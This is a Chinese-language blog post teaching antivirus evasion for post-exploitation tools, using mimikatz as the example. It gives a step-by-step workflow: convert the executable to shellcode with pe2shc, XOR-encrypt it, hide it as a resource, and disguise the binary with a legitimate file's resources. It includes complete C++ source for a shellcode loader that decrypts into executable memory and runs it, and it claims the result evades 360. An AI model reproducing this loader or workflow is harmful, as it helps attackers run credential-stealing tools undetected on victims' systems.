免杀-绕过静态动态查杀

发布时间 2023-12-16 19:59:14作者: mykr3

前言

在我们后渗透时很多时候需要使用到一些敏感的工具,而这些工具大多都被360等杀软厂商标记。导致我们传入的工具无法执行或执行时被拦截。
接下来以测试工具mimitakz为例演示如何绕过这些杀软拦截,躲避查杀等。以下为具体开发细节,

程序执行时杀软拦截

360

静态查杀

何为"静态查杀"正规点叫文件实时监控,也就是在粘贴复制、下载文件落地到电脑时的一步监控行为。文件落入电脑瞬间杀软会进行检测,如果为恶意文件它会替你删掉或提醒你这是一个恶意文件。
在这一步只有两点,在沙箱模拟运行、匹配软件特征。
根据这个特征的思路,我们只需要做一件事。让我们的工具变得面目全非
使用一个很好用的工具pe2shc:https://github.com/hasherezade/pe_to_shellcode/releases/tag/v1.2
这个工具可以将任意一个dll或exe转换成shellcode同时不影响双击运行。

加密

验证静态查杀

扫描一下可以发现360在静态情况下不认识了

尝试运行

虽然静态过了,但是在运行时依然被识别到

动态查杀

"动态查杀",文件运行时或即将运行时的监控行为。这个监控的原理等比较复杂,它可以基于任何一点。如调用敏感api、内存存在特定字符串或基于打分制等等都可以成为一个查杀的点
既然静态已过,那么我们尝试动态将我们工具执行起来。

二次加密

使用pe2shc加密后,再来一层加密。使用010editor等十六进制查看工具将字节异或加密

加密保存为.bin文件

将.bin文件藏在软件资源内



之后他就会在我们的项目资源中了

加载器

以上的工作做完之后我们还需要做一个加载器
加载器,顾名思义。载入一段东西到特定的地方
在这里我们要做的就是将加密后的exe文件变成一段shellcode然后加载进内存并执行起来
具体实现:
使用c++代码做个shellloader

// shellLoader.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <windows.h>
#include <stdio.h>

#include "resource.h"
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")


int main()
{

	HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN11), L"BIN1");	//寻找资源内指定文件,获得句柄
	DWORD Size = SizeofResource(NULL, Res);	//计算资源大小
	HGLOBAL Load = LoadResource(NULL, Res);	//加载资源
	LPSTR buffer = (LPSTR)VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);	//申请虚拟内存
	memcpy(buffer, Load, Size);		//将指定资源拷贝到内存中
	for (size_t i = 0; i < Size; i++)		//将字节逐一异或解密
	{
		buffer[i] ^= 0x23;

	}
	((void(*)())buffer)();		//指针指向内存运行
}

这样我们的加载器就做好了:

锦上添花

因为压根不知道会因为什么而被查杀,所以再增加一些保障。尽量让这个文件就像是一个"正常的软件"
再使用一个工具:Resource Hacker
将我们的shellloader拖入

选择一个正常的系统文件或其他正常的文件导入并保存

导入之前的效果:

导入之后的效果:

执行

联网状态静态未被查杀

扫描文件

执行文件
正常执行且可以使用任何功能,即已免杀

结尾

该方式是其中一种处理方式,实际还有很多,例如加壳、花指令、虚拟机对抗、抹去特征等等......
最终的目的只是让杀软不认识,无法识别。
这个方法在360适用,在火绒可能就会被杀的厉害。还是需要根据实际情况去做相应的处理。